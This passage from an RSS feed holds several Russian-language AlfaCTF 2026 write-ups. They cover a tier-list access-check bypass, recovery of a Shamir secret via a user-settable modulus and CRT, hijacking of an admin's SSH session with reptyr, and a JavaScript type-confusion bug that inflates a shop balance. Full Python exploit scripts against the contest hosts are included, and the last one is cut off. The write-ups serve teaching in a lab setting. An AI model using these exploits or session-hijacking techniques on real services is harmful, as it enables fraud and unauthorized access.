  <p id="o5a7"><code>can_read_file</code> получает именно внешний <code>$tl_dir</code>. То есть если мы открываем файл:</p>
  <pre id="TMfg" data-lang="bash">text/data/tierlists/gorpcore_redflags__with__pwn2/gorpcore_redflags/tier_d/flag.txt</pre>
  <p id="NH2u">проверка ограничений всё равно смотрит в:</p>
  <pre id="3hvR" data-lang="bash">text/data/tierlists/gorpcore_redflags__with__pwn2/.meta</pre>
  <p id="Ej6i">А это наш тир-лист, где:</p>
  <pre id="IxoW" data-lang="bash">textowner=pwn2
restricted=
collaborators=</pre>
  <p id="Eqil">Поскольку <code>restricted</code> пустой, файл считается доступным — даже если во вложенном админском тир-листе он был <code>restricted</code>.</p>
  <hr />
  <h2 id="7a0L">Эксплуатация</h2>
  <p id="IeeA">В публичных тир-листах был найден интересный список:</p>
  <pre id="dXnO" data-lang="bash">textgorpcore_redflags @admin</pre>
  <p id="GBL0">В нём присутствовал закрытый элемент:</p>
  <pre id="kMPu" data-lang="bash">text[LOCKED] flag</pre>
  <p id="q7dC"><strong>Краткая последовательность действий:</strong></p>
  <ol id="w6nR">
    <li id="veVL">Подключиться по SSH.</li>
    <li id="2yOO">Войти под новым пользователем, например <code>pwn2</code>.</li>
    <li id="QvAd">Создать тир-лист с именем <code>gorpcore_redflags__with__pwn2</code>.<br />Это имя важно — функция <code>join_tierlist_by_name</code> при присоединении строит имя новой директории именно так: <code>&quot;${tl_name}__with__${CURRENT_USER}&quot;</code>.</li>
    <li id="UQoX">Открыть публичные тир-листы.</li>
    <li id="09pc">Выбрать <code>gorpcore_redflags @admin</code>.</li>
    <li id="Ck6N">Нажать «Присоединиться».<br />Вместо нормального переименования произойдёт перенос админского тир-листа <strong>внутрь</strong> директории-ловушки.</li>
    <li id="W6Od">Перейти в «Мои тир-листы» и открыть <code>gorpcore_redflags__with__pwn2</code>.<br />Если всё сделано правильно, заголовок покажет владельца внешнего тир-листа:text<code>gorpcore_redflags__with__pwn2 [@pwn2]</code>А внутри станут видны тиры и элементы из вложенного <code>gorpcore_redflags</code>.</li>
    <li id="LLkE">Открыть элемент <code>[LOCKED] flag</code>.<br />Сервис откроет его содержимое, потому что проверяет ограничения по нашей внешней <code>.meta</code>, а не по <code>.meta</code> исходного админского тир-листа.</li>
    <li id="aAEI">Получить флаг.</li>
  </ol>
  <hr />
  <h2 id="pFWV">Корневая причина</h2>
  <p id="9Xeq">В задаче объединились три логические ошибки:</p>
  <ol id="Z0uf">
    <li id="feUg"><code>join_tierlist_by_name</code> использует <code>mv</code> без проверки существования директории назначения.</li>
    <li id="76VM"><code>view_tierlist</code> рекурсивно ищет <code>tier_*</code> внутри всего дерева тир-листа.</li>
    <li id="T2LD"><code>view_item</code> проверяет доступ к файлу по <code>.meta</code> внешней директории, а не по <code>.meta</code> реального тир-листа, которому принадлежит файл.</li>
  </ol>
  <p id="sYOK">Вместе это позволяет поместить чужой тир-лист внутрь своего и обойти <code>restricted</code>-проверку.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/rtzyHxanMdY</guid><link>https://teletype.in/@freenameruuuu/rtzyHxanMdY?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/rtzyHxanMdY?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>Сикс-севен</title><pubDate>Sat, 25 Apr 2026 18:46:17 GMT</pubDate><description><![CDATA[<img src="https://img2.teletype.in/files/1f/00/1f00a322-e0bb-4852-9d98-e914c6984a65.png"></img>CTF: АльфаЦТФ2026]]></description><content:encoded><![CDATA[
  <p id="VD4g"><strong>CTF:</strong> АльфаЦТФ2026</p>
  <p id="lPSt">Автор: @m0nr0e21</p>
  <p id="d2Kd">Теги: Hard, Crypto, Math, Web</p>
  <h2 id="W8wP">Описание задания</h2>
  <p id="Bqsm"></p>
  <figure id="B08Z" class="m_retina">
    <img src="https://img2.teletype.in/files/1f/00/1f00a322-e0bb-4852-9d98-e914c6984a65.png" width="810" />
  </figure>
  <p id="dQp8">В задании дан веб-сервис кофейни «У Шамира» и архив с исходным кодом:</p>
  <ul id="YfP9">
    <li id="JYj1"><code>sixseven-lo1ydmdy.alfactf.ru</code></li>
    <li id="SUC4"><code>sixseven_git_4547ca8.tar.gz</code></li>
  </ul>
  <p id="hNw3">По легенде действует программа лояльности «6–7»: нужно купить 6 эспрессо, а затем в качестве 7-го напитка можно получить любой напиток. На практике у нового пользователя есть только 40 монет, а один эспрессо стоит 10 монет — легально можно купить только 4 эспрессо.</p>
  <p id="duOK">Задача: получить купон на 7-й напиток, не имея 6 долей.</p>
  <p id="yaPW"><strong>Флаг:</strong> <code>alfa{esPress0_MacChi4T0_pOr_fAVOr3}</code></p>
  <hr />
  <h2 id="TlMD">Разбор исходников</h2>
  <p id="JTOo">В приложении реализована схема, похожая на Shamir Secret Sharing.</p>
  <p id="grjh">Каждый купленный эспрессо создаёт заказ с UUID. Для заказа генерируется QR-код, внутри которого лежит JSON вида:</p>
  <pre id="Znzd" data-lang="jsx">json{
  &quot;order_id&quot;: &quot;9df03866-aa45-48f8-bee8-727eb85fcf9c&quot;,
  &quot;secret_part&quot;: &quot;22535180056152808296086384252092152298162688175416839322383634726849228300611&quot;
}</pre>
  <p id="pN0n">Здесь:</p>
  <ul id="Q1RE">
    <li id="YkcN"><code>order_id</code> = <strong>x</strong></li>
    <li id="3B1d"><code>secret_part</code> = <strong>f(x)</strong></li>
  </ul>
  <p id="vBzp">UUID заказа используется как точка x, а <code>secret_part</code> — значение полинома в этой точке.</p>
  <p id="JKAE">Секретный купон — это свободный коэффициент полинома:</p>
  <pre id="gNnr" data-lang="bash">textsecret = f(0)</pre>
  <p id="cvTh">Чтобы честно восстановить секрет по схеме Шамира, нужно 6 точек. Но у нас только 4 эспрессо — классическая интерполяция Лагранжа не подходит.</p>
  <hr />
  <h2 id="git">Важная находка в Git-истории</h2>
  <p id="pKH9">Архив содержит не просто исходники, а Git-репозиторий. В истории видно, что раньше в проекте был отдельный Rust API.</p>
  <pre id="rF5U" data-lang="bash">bashgit log --oneline</pre>
  <p id="Y5lY">В старом коммите присутствовали API-методы:</p>
  <ul id="6FQl">
    <li id="cNJk"><code>/api/get_module</code></li>
    <li id="NlSZ"><code>/api/set_module</code></li>
    <li id="4OlO"><code>/api/calc_shares</code></li>
    <li id="MQ5D"><code>/api/combine_shares</code></li>
  </ul>
  <p id="Webt">В текущем <code>docker-compose</code> Rust API как будто удалён, но конфигурация nginx всё ещё проксирует <code>/api/</code>. На живом инстансе эти эндпоинты тоже доступны.</p>
  <p id="8tCy">Особенно интересен метод <code>/api/set_module</code> — он позволяет менять модуль поля <code>q</code>, в котором считаются значения схемы Шамира.</p>
  <hr />
  <h2 id="FQRm">Уязвимость</h2>
  <p id="Zby3">В нормальной схеме Шамира используется большое простое поле <code>mod q</code>. Но старый API позволяет пользователю менять <code>q</code>. Проверка простоты модуля слабая: используется Fermat-подобная проверка, а не полноценная криптографически корректная валидация.</p>
  <p id="EJP9"><strong>Главная идея атаки:</strong></p>
  <ol id="5QRi">
    <li id="K50M">Берём UUID заказа.</li>
    <li id="MBVu">Рассматриваем UUID как большое число <strong>x</strong>.</li>
    <li id="Vi7o">Факторизуем <strong>x</strong>.</li>
    <li id="Gn5D">Находим достаточно большой простой делитель <strong>p</strong>.</li>
    <li id="Iyyp">Устанавливаем модуль: <code>q = p</code>.</li>
  </ol>
  <p id="VKgF">Так как <strong>p</strong> делит <strong>x</strong>, получаем:</p>
  <pre id="LzpO" data-lang="python">textx ≡ 0 mod p</pre>
  <p id="dvC3">А значит:</p>
  <pre id="yYq8" data-lang="python">textf(x) ≡ f(0) mod p</pre>
  <p id="C23q">То есть доля этого заказа становится сразу:</p>
  <pre id="jS3H" data-lang="shell">textsecret mod p</pre>
  <p id="DOON">Таким образом один заказ даёт остаток секрета по модулю <strong>p</strong>.</p>
  <hr />
  <h2 id="rVth">Почему нужны несколько заказов</h2>
  <p id="Ev5d">Сам секрет — это 256-битное число. Один простой делитель UUID обычно меньше 256 бит, поэтому он даёт только часть информации:</p>
  <pre id="6VNG" data-lang="python">textsecret ≡ a1 mod p1
secret ≡ a2 mod p2
...</pre>
  <p id="0Bvx">Когда произведение модулей становится больше размера секрета:</p>
  <pre id="Xk9o" data-lang="python">textp1 * p2 * ... * pk &gt; 2^256</pre>
  <p id="ryq6">секрет можно однозначно восстановить с помощью <strong>китайской теоремы об остатках (CRT)</strong>.</p>
  <hr />
  <h2 id="Mshi">Эксплуатация</h2>
  <p id="eJqc"><strong>Алгоритм атаки:</strong></p>
  <ol id="h8B8">
    <li id="njyO">Регистрируем нового пользователя.</li>
    <li id="hYM9">Покупаем 4 эспрессо.</li>
    <li id="VOn7">Из dashboard достаём UUID заказов.</li>
    <li id="DUWQ">Для каждого UUID считаем его числовое значение.</li>
    <li id="svyw">Факторизуем UUID.</li>
    <li id="VQdu">Для каждого большого простого делителя <strong>p</strong>:</li>
    <ul id="0ePR">
      <li id="EYYX">вызываем <code>/api/set_module</code>;</li>
      <li id="ennd">вызываем <code>/api/calc_shares</code>;</li>
      <li id="CG8U">получаем <code>secret mod p</code>.</li>
    </ul>
    <li id="00l1">Собираем остатки через CRT.</li>
    <li id="iclL">Отправляем восстановленный купон в <code>/buy-exclusive</code>.</li>
    <li id="RNVF">Получаем QR 7-го напитка.</li>
    <li id="fHXr">Декодируем QR и забираем флаг.</li>
  </ol>
  <p id="6hyC"><strong>Пример восстановления:</strong></p>
  <pre id="Ga4N" data-lang="python">textsecret ≡ 104235194837086147991081 mod 271022341962674876014939
secret ≡ 22469167400840334385822069390 mod 738369751665541259657901187879
...</pre>
  <p id="nrW3">Если произведение модулей недостаточно большое, нужно просто создать новый аккаунт и повторить: UUID генерируются случайно, поэтому иногда попадаются более удобные множители.</p>
  <hr />
  <h2 id="qr">Важный нюанс с QR</h2>
  <p id="AICH">QR обычного эспрессо содержит JSON с долей секрета:</p>
  <pre id="jjQ3" data-lang="jsx">json{
  &quot;order_id&quot;: &quot;...&quot;,
  &quot;secret_part&quot;: &quot;...&quot;
}</pre>
  <p id="UtLA">Это ещё не флаг.</p>
  <p id="063V">После успешной покупки 7-го напитка сервер создаёт отдельный exclusive-заказ. Его QR уже содержит сам флаг.</p>
  <p id="8Kie"><strong>QR одноразовый:</strong> после первого обращения к <code>/orders/&lt;id&gt;/qr.svg</code> сервер помечает флаг как полученный. Поэтому нужно скачивать именно QR exclusive-заказа, а не случайный QR с dashboard.</p>
  <p id="Kemn">После отправки купона в Flask-session появляется поле <code>last_exclusive_order_id</code>. По нему скачивается правильный QR:</p>
  <pre id="5FiI">text/orders/&lt;last_exclusive_order_id&gt;/qr.svg</pre>
  <hr />
  <h2 id="qr">Декодирование QR</h2>
  <p id="4sCh">SVG рендерится в PNG:</p>
  <pre id="yn0H">bashrsvg-convert -w 1200 -h 1200 flag.svg -o flag.png</pre>
  <p id="Se9J">Затем декодируется:</p>
  <pre id="Hpaz">bashzbarimg --raw -Sqr.enable flag.png</pre>
  <p id="4VB8">Результат:</p>
  <pre id="yDB2">alfa{иди и сам добудь флаг, халявшик}</pre>
  <hr />
  <h2 id="5z6p">Скрипт эксплойта</h2>
  <pre id="mtvx" data-lang="python">python#!/usr/bin/env python3
import base64
import json
import random
import re
import string
import zlib
from math import prod
from uuid import UUID

import requests
from sympy import factorint
from sympy.ntheory.modular import crt


BASE = &quot;https://sixseven-lo1ydmdy.alfactf.ru&quot;

MIN_FACTOR_BITS = 64
TARGET_BITS = 256
MAX_ATTEMPTS = 100


def randstr(n=12):
    return &quot;&quot;.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(n))


def decode_flask_cookie_payload(cookie_value: str) -&gt; dict:
    &quot;&quot;&quot;
    Flask session cookie подписана, но не зашифрована.
    Поэтому payload можно прочитать без SECRET_KEY.
    &quot;&quot;&quot;
    compressed = cookie_value.startswith(&quot;.&quot;)
    parts = cookie_value.split(&quot;.&quot;)

    if compressed:
        if len(parts) &lt; 2:
            raise ValueError(&quot;Bad compressed Flask cookie format&quot;)
        payload_b64 = parts[1]
    else:
        payload_b64 = parts[0]

    payload_b64 += &quot;=&quot; * (-len(payload_b64) % 4)
    raw = base64.urlsafe_b64decode(payload_b64)

    if compressed:
        raw = zlib.decompress(raw)

    return json.loads(raw)


def get_session_payload(session: requests.Session) -&gt; dict:
    cookie = session.cookies.get(&quot;sixseven_session&quot;) or session.cookies.get(&quot;session&quot;)

    if not cookie:
        raise RuntimeError(&quot;No Flask session cookie found&quot;)

    return decode_flask_cookie_payload(cookie)


def get_user_id(session: requests.Session) -&gt; int:
    print(&quot;[debug] cookies:&quot;, session.cookies.get_dict())

    payload = get_session_payload(session)
    print(&quot;[debug] session payload:&quot;, payload)

    if &quot;user_id&quot; not in payload:
        raise RuntimeError(&quot;No user_id in Flask session payload&quot;)

    return int(payload[&quot;user_id&quot;])


def register_and_login() -&gt; tuple[requests.Session, int]:
    s = requests.Session()

    username = &quot;u&quot; + randstr(12)
    password = &quot;P@ssw0rd_&quot; + randstr(12)

    print(&quot;[+] username:&quot;, username)
    print(&quot;[+] password:&quot;, password)

    r = s.get(BASE + &quot;/register&quot;, timeout=20, allow_redirects=True)
    print(&quot;[debug] GET /register:&quot;, r.status_code, r.url)

    r = s.post(
        BASE + &quot;/register&quot;,
        data={&quot;username&quot;: username, &quot;password&quot;: password},
        allow_redirects=True,
        timeout=20,
    )

    print(&quot;[debug] POST /register:&quot;, r.status_code, r.url)

    r = s.post(
        BASE + &quot;/login&quot;,
        data={&quot;username&quot;: username, &quot;password&quot;: password},
        allow_redirects=True,
        timeout=20,
    )

    print(&quot;[debug] POST /login:&quot;, r.status_code, r.url)

    if not s.cookies.get_dict():
        raise RuntimeError(&quot;Login failed: no cookies&quot;)

    user_id = get_user_id(s)
    print(&quot;[+] registered:&quot;, username)
    print(&quot;[+] user_id:&quot;, user_id)

    return s, user_id


def api_get_module(session: requests.Session, user_id: int) -&gt; int:
    r = session.get(BASE + f&quot;/api/get_module?user_id={user_id}&quot;, timeout=20)

    if r.status_code != 200:
        raise RuntimeError(&quot;api_get_module failed&quot;)

    data = r.json()

    if &quot;q&quot; in data:
        return int(data[&quot;q&quot;])
    if &quot;module&quot; in data:
        return int(data[&quot;module&quot;])

    raise RuntimeError(f&quot;Unknown get_module response: {data}&quot;)


def api_set_module(session: requests.Session, user_id: int, q: int):
    url = BASE + f&quot;/api/set_module?user_id={user_id}&quot;

    r = session.post(url, json={&quot;q&quot;: str(q)}, timeout=20)

    if r.status_code == 200:
        return

    r = session.post(url, data={&quot;q&quot;: str(q)}, timeout=20)

    if r.status_code != 200:
        raise RuntimeError(&quot;api_set_module failed&quot;)


def api_calc_shares(session: requests.Session, user_id: int) -&gt; dict[str, int]:
    r = session.get(BASE + f&quot;/api/calc_shares?user_id={user_id}&quot;, timeout=20)

    if r.status_code != 200:
        raise RuntimeError(&quot;api_calc_shares failed&quot;)

    data = r.json()
    shares = {}

    if isinstance(data, dict) and &quot;shares&quot; in data:
        for item in data[&quot;shares&quot;]:
            order_id = item.get(&quot;id&quot;) or item.get(&quot;order_id&quot;) or item.get(&quot;uuid&quot;)
            share = item.get(&quot;share&quot;) or item.get(&quot;value&quot;) or item.get(&quot;y&quot;)
            if order_id and share:
                shares[str(order_id)] = int(share)

    elif isinstance(data, dict):
        for k, v in data.items():
            try:
                UUID(str(k))
                shares[str(k)] = int(v)
            except Exception:
                pass

    elif isinstance(data, list):
        for item in data:
            order_id = item.get(&quot;id&quot;) or item.get(&quot;order_id&quot;) or item.get(&quot;uuid&quot;)
            share = item.get(&quot;share&quot;) or item.get(&quot;value&quot;) or item.get(&quot;y&quot;)
            if order_id and share:
                shares[str(order_id)] = int(share)

    if not shares:
        raise RuntimeError(&quot;No shares parsed&quot;)

    return shares


def buy_espresso(session: requests.Session):
    r = session.post(BASE + &quot;/buy-espresso&quot;, allow_redirects=True, timeout=20)

    if r.status_code != 200:
        raise RuntimeError(&quot;Cannot buy espresso&quot;)


def extract_order_ids(session: requests.Session) -&gt; list[str]:
    r = session.get(BASE + &quot;/dashboard&quot;, allow_redirects=True, timeout=20)

    if r.status_code != 200:
        raise RuntimeError(&quot;Cannot open dashboard for order extraction&quot;)

    ids = sorted(
        set(
            re.findall(
                r&quot;[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}&quot;,
                r.text,
            )
        )
    )

    print(&quot;[+] found order ids:&quot;, ids)

    if not ids:
        raise RuntimeError(&quot;No order UUIDs found on dashboard&quot;)

    return ids


def collect_congruences(session: requests.Session, user_id: int, order_ids: list[str]):
    congruences = []

    for order_id in order_ids:
        x = UUID(order_id).int
        factors = factorint(x)

        for p, power in factors.items():
            if p.bit_length() &lt; MIN_FACTOR_BITS:
                continue

            print(f&quot;[+] trying factor p={p}, bits={p.bit_length()}&quot;)

            api_set_module(session, user_id, p)
            shares = api_calc_shares(session, user_id)

            if order_id not in shares:
                continue

            secret_mod_p = shares[order_id] % p

            if all(existing_p != p for _, existing_p in congruences):
                congruences.append((secret_mod_p, p))

            modulus_product = prod(m for _, m in congruences)
            print(f&quot;    CRT modulus bits = {modulus_product.bit_length()}&quot;)

            if modulus_product.bit_length() &gt; TARGET_BITS:
                return congruences

    return congruences


def recover_secret(congruences):
    residues = [a for a, _ in congruences]
    moduli = [m for _, m in congruences]

    result = crt(moduli, residues)

    if result is None:
        raise RuntimeError(&quot;CRT failed&quot;)

    return int(result[0]), int(result[1])


def submit_coupon(session: requests.Session, coupon: int) -&gt; str:
    r = session.post(
        BASE + &quot;/buy-exclusive&quot;,
        data={&quot;coupon&quot;: str(coupon)},
        allow_redirects=True,
        timeout=20,
    )

    payload = get_session_payload(session)

    if &quot;last_exclusive_order_id&quot; in payload:
        exclusive_order_id = payload[&quot;last_exclusive_order_id&quot;]
        print(&quot;[+] coupon accepted, exclusive order id:&quot;, exclusive_order_id)
        return exclusive_order_id

    raise RuntimeError(&quot;Coupon was not accepted&quot;)


def save_exclusive_qr(session: requests.Session, exclusive_order_id: str):
    qr_url = BASE + f&quot;/orders/{exclusive_order_id}/qr.svg&quot;
    qr = session.get(qr_url, timeout=20)

    if qr.status_code != 200:
        raise RuntimeError(&quot;Could not download exclusive QR&quot;)

    with open(&quot;flag.svg&quot;, &quot;wb&quot;) as f:
        f.write(qr.content)

    print(&quot;[+] saved flag.svg&quot;)
    print(&quot;[+] Decode:&quot;)
    print(&quot;    rsvg-convert -w 1200 -h 1200 flag.svg -o flag.png&quot;)
    print(&quot;    zbarimg --raw -Sqr.enable flag.png&quot;)


def solve_once(attempt: int) -&gt; bool:
    print(&quot;=&quot; * 80)
    print(f&quot;[+] ATTEMPT {attempt}&quot;)
    print(&quot;=&quot; * 80)

    s, user_id = register_and_login()

    for i in range(4):
        print(f&quot;[+] buying espresso {i + 1}/4&quot;)
        buy_espresso(s)

    order_ids = extract_order_ids(s)
    congruences = collect_congruences(s, user_id, order_ids)

    if not congruences:
        print(&quot;[!] No congruences collected&quot;)
        return False

    modulus_product = prod(m for _, m in congruences)

    print(&quot;[+] collected congruences:&quot;)
    for a, m in congruences:
        print(f&quot;    secret ≡ {a} mod {m}  ; bits={m.bit_length()}&quot;)

    print(&quot;[+] total CRT modulus bits:&quot;, modulus_product.bit_length())

    if modulus_product.bit_length() &lt;= TARGET_BITS:
        print(&quot;[!] Недостаточно больших множителей, пробуем новый аккаунт.&quot;)
        return False

    coupon, modulus = recover_secret(congruences)

    print(&quot;[+] recovered coupon:&quot;, coupon)
    print(&quot;[+] CRT modulus bits:&quot;, modulus.bit_length())

    exclusive_order_id = submit_coupon(s, coupon)

    print(&quot;[!] Важно: QR одноразовый.&quot;)
    print(&quot;[!] Не открывай dashboard в браузере до сохранения QR.&quot;)
    save_exclusive_qr(s, exclusive_order_id)

    return True


def main():
    for attempt in range(1, MAX_ATTEMPTS + 1):
        try:
            ok = solve_once(attempt)
            if ok:
                print(&quot;[+] SUCCESS&quot;)
                return
        except KeyboardInterrupt:
            raise
        except Exception as e:
            print(f&quot;[!] attempt {attempt} failed:&quot;, e)

    print(f&quot;[!] Не удалось за {MAX_ATTEMPTS} попыток.&quot;)
    print(&quot;[!] Можно увеличить MAX_ATTEMPTS и запустить снова.&quot;)


if __name__ == &quot;__main__&quot;:
    main()</pre>
  <p id="63Rl"><strong>Запуск:</strong></p>
  <pre id="C9ZV" data-lang="bash">bashpython3 solve.py
rsvg-convert -w 1200 -h 1200 flag.svg -o flag.png
zbarimg --raw -Sqr.enable flag.png</pre>
  <hr />

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/dnH1_ThoYp7</guid><link>https://teletype.in/@freenameruuuu/dnH1_ThoYp7?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/dnH1_ThoYp7?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>Тихий квиттинг</title><pubDate>Sat, 25 Apr 2026 18:29:36 GMT</pubDate><description><![CDATA[<img src="https://img3.teletype.in/files/af/a7/afa77514-a69e-4350-bcf8-937ac47de9df.png"></img>CTF: АльфаЦТФ2026]]></description><content:encoded><![CDATA[
  <p id="yl4Z"><strong>CTF:</strong> АльфаЦТФ2026</p>
  <p id="QjSd"><strong>Теги:</strong> Medium, Infra, Linux</p>
  <p id="OjFt"><strong>Автор:</strong> @m0nr0e21</p>
  <p id="0oPC">Категория: Infra / Linux. Идея: перехватить живую SSH-сессию администратора без использования ssh-agent, через инструмент reptyr.</p>
  <figure id="TOhp" class="m_retina">
    <img src="https://img3.teletype.in/files/af/a7/afa77514-a69e-4350-bcf8-937ac47de9df.png" width="834" />
  </figure>
  <h2 id="Sp3H">Разведка на jumphost</h2>
  <p id="E1K4">После подключения к стенду попадаем на jumphost под root. Смотрим активные процессы:</p>
  <pre id="464w">ps aux

# Интересные процессы:
admin  45  sh -c sleep 1 &amp;&amp; rm -rf /tmp/ssh* &amp; ssh -l admin tracker-prod bash
admin  47  ssh -l admin tracker-prod bash</pre>
  <p id="ny8b">В команде процесса 45 есть rm -rf /tmp/ssh* — первоначально возникла гипотеза, что админ использует ssh-agent forwarding. Однако проверка показала: каталогов /tmp/ssh-* нет, SSH_AUTH_SOCK отсутствует — agent forwarding не используется.</p>
  <h2 id="tOXS">Перехват сессии через reptyr</h2>
  <p id="Bh6m">reptyr — инструмент, который позволяет перепривязать уже запущенный процесс к нашему терминалу. Флаг -T перехватывает всю терминальную сессию, а не только отдельный процесс. Перехватываем SSH-сессию админа (процесс 47):</p>
  <pre id="tegv">reptyr -T 47

# Мы оказываемся внутри сессии админа
$ id
uid=1001(admin) gid=1001(admin) groups=1001(admin)

$ hostname
tracker-prod</pre>
  <p id="7Rf3">Теперь мы на целевой машине tracker-prod под пользователем admin. Получаем флаг:</p>
  <pre id="MoW0">$ ls
flag.txt

$ cat flag.txt</pre>
  <p id="Bi1A">Вывод: живая SSH-сессия админа перехвачена через reptyr -T без использования ssh-agent. Ключ к успеху: root-права на jumphost и уже запущенный SSH-процесс админа, который можно перепривязать.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@freenameruuuu/8M0FMWIoYKe</guid><link>https://teletype.in/@freenameruuuu/8M0FMWIoYKe?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu</link><comments>https://teletype.in/@freenameruuuu/8M0FMWIoYKe?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=freenameruuuu#comments</comments><dc:creator>freenameruuuu</dc:creator><title>Шоколадный дроп</title><pubDate>Sat, 25 Apr 2026 18:02:27 GMT</pubDate><description><![CDATA[<img src="https://img1.teletype.in/files/03/37/03376aa5-7d72-47a8-9c87-204fc228293b.png"></img>CTF: АльфаЦТФ2026]]></description><content:encoded><![CDATA[
  <p id="Lwdn"><strong>CTF:</strong> АльфаЦТФ2026</p>
  <p id="kjcB"><strong>Автор:</strong> @frankegoesdown</p>
  <p id="pjhV"><strong>Категория: </strong>Web</p>
  <p id="uBSu"><strong>Теги: </strong>easy, web, financial, js</p>
  <h2 id="NkMx">Описание задачи</h2>
  <figure id="1OVI" class="m_retina">
    <img src="https://img1.teletype.in/files/03/37/03376aa5-7d72-47a8-9c87-204fc228293b.png" width="838" />
  </figure>
  <blockquote id="jits">В старом порту открыли первый ChocoCore — бутик премиального функционального шоколада. Сегодня стартовали продажи лимитированного дропа. Станьте первым, кто его попробует.</blockquote>
  <p id="BXTd">Нам дают Next.js приложение — интернет-магазин шоколада. Цель: купить лимитированный товар flag (Summit to Talk About) стоимостью 31 337₽.</p>
  <h2 id="IrgP">Разведка</h2>
  <p id="jboY">Исходный код предоставлен в архиве. Ключевые файлы:</p>
  <pre id="MYT5">src/
  app/api/
    session/route.ts     — управление сессией
    cart/route.ts        — корзина
    promocode/route.ts   — применение промокодов
    checkout/route.ts    — оформление заказа
    completed/route.ts   — выдача флага
  lib/
    chocolates.ts        — каталог (8 позиций + item id=&quot;flag&quot; за 31337₽)
    promocodes.ts        — список купонов: { TREAT5000: 5000 }
    session.ts           — работа с SQLite
    
</pre>
  <h3 id="ajMd">Механика</h3>
  <p id="Sifw">Баланс (шоколёк) хранится на сервере в SQLite, привязан к сессии через session_id cookie.</p>
  <p id="woSD">Промокод — это base64 от JSON вида {&quot;amount&quot;: 5000, &quot;coupon&quot;: &quot;TREAT5000&quot;}.</p>
  <p id="H6U0">Единственный доступный промокод — TREAT5000 на 5 000₽.</p>
  <p id="DG1y">Флаг выдаётся через /api/completed, если в последнем заказе есть item с id === &quot;flag&quot;.</p>
  <p id="q00f">Проблема: нам нужно 31 337₽, а можно получить только 5 000₽. Надо найти баг.</p>
  <h2 id="i6Hu">Анализ уязвимости</h2>
  <p id="6RWL">Смотрим src/app/api/promocode/route.ts:</p>
  <pre id="Nj2Y" data-lang="typescript">// Шаг 1: проверяем наличие поля amount
if (!Object.hasOwn(promo, &#x27;amount&#x27;)) {
  return NextResponse.json({ error: &#x27;Invalid promocode&#x27; }, { status: 400 });
}

// Шаг 2: СРАЗУ прибавляем к балансу — ДО проверки типа!
session.balance += promo.amount;

try {
  // Шаг 3: проверка типа (уже после изменения баланса)
  if (typeof promo.amount !== &#x27;number&#x27; || typeof promo.coupon !== &#x27;string&#x27;) {
    throw new Error(&#x27;Invalid promocode&#x27;);
  }
  if (COUPONS[promo.coupon] !== promo.amount) {
    throw new Error(&#x27;Invalid promocode&#x27;);
  }
  if (session.used_coupons.includes(promo.coupon)) {
    throw new Error(&#x27;Promocode already used&#x27;);
  }
} catch (error) {
  session.balance -= promo.amount; // &quot;откат&quot;
  return NextResponse.json({ error: ... }, { status: 400 });
} finally {
  updateSessionBalance(sessionId, session.balance); // ВСЕГДА сохраняет в БД
}</pre>
  <p id="KCI1">Логика задумана так: если валидация не прошла — откатить баланс в catch, а finally сохранит откатанное. Но есть нюанс: тип amount не проверяется до того, как он прибавляется к балансу.</p>
  <h3 id="3gRV">Эксплуатация: JavaScript type confusion</h3>
  <p id="wN4a">В JavaScript оператор + ведёт себя по-разному в зависимости от типов операндов:</p>
  <pre id="3nTx" data-lang="javascript">5000 + 1    // → 5001  (число + число = число)
5000 + &quot;1&quot;  // → &quot;50001&quot; (число + строка = конкатенация строк!)
5000 + [1]  // → &quot;50001&quot; ([1].toString() = &quot;1&quot;, затем строковая конкатенация)

// Оператор - всегда вычитает, приводя оба операнда к числам:
&quot;50001&quot; - [1]  // → 50001 - 1 = 50000</pre>
  <p id="VED2">Применим это к уязвимому коду, если отправить amount = [1] (массив):</p>
  <pre id="NI0L" data-lang="javascript">// Старт: session.balance = 5000 (число)
// Шаг 2: session.balance += [1]  → &quot;50001&quot; (строка!)
// Шаг 3: typeof [1] !== &#x27;number&#x27; → true → throw
// catch:  session.balance -= [1]  → 50001 - 1 = 50000 (число!)
// finally: updateSessionBalance(50000) — записывает 50000 в БД

// Итог: откат не сработал — вместо 5000₽ баланс вырос до 50000₽</pre>
  <p id="2tWy">Корень проблемы: += при смешении типов работает как конкатенация строк, а -= с тем же аргументом — как вычитание чисел. Итог: (B + [X]) − [X] ≠ B при ненулевом B.</p>
  <h2 id="ETqt">Эксплойт</h2>
  <pre id="Z5gE" data-lang="python">import base64, json, requests

BASE = &quot;https://chococore-cmmrrcme.alfactf.ru&quot;
s = requests.Session()

# 1. Инициализируем сессию
s.get(f&quot;{BASE}/api/session&quot;)

# 2. Получаем стартовый баланс через легитимный промокод
treat = base64.b64encode(json.dumps({&quot;amount&quot;: 5000, &quot;coupon&quot;: &quot;TREAT5000&quot;}).encode()).decode()
s.post(f&quot;{BASE}/api/promocode&quot;, json={&quot;code&quot;: treat})
# balance = 5000

# 3. Применяем malicious промокод с amount=[1] (массив)
# 5000 += [1] → &quot;50001&quot; (строка)
# catch: &quot;50001&quot; -= [1] → 50000 (число)
# finally: сохраняет 50000 в БД
mal = base64.b64encode(json.dumps({&quot;amount&quot;: [1], &quot;coupon&quot;: &quot;x&quot;}).encode()).decode()
s.post(f&quot;{BASE}/api/promocode&quot;, json={&quot;code&quot;: mal})
# balance = 50000, ответ сервера — 400 (но баланс уже записан!)

# 4. Добавляем флаг в корзину
s.post(f&quot;{BASE}/api/cart&quot;, json={&quot;chocolateId&quot;: &quot;flag&quot;, &quot;quantity&quot;: 1})

# 5. Оформляем заказ (50000 &gt;= 31337 — проходит)
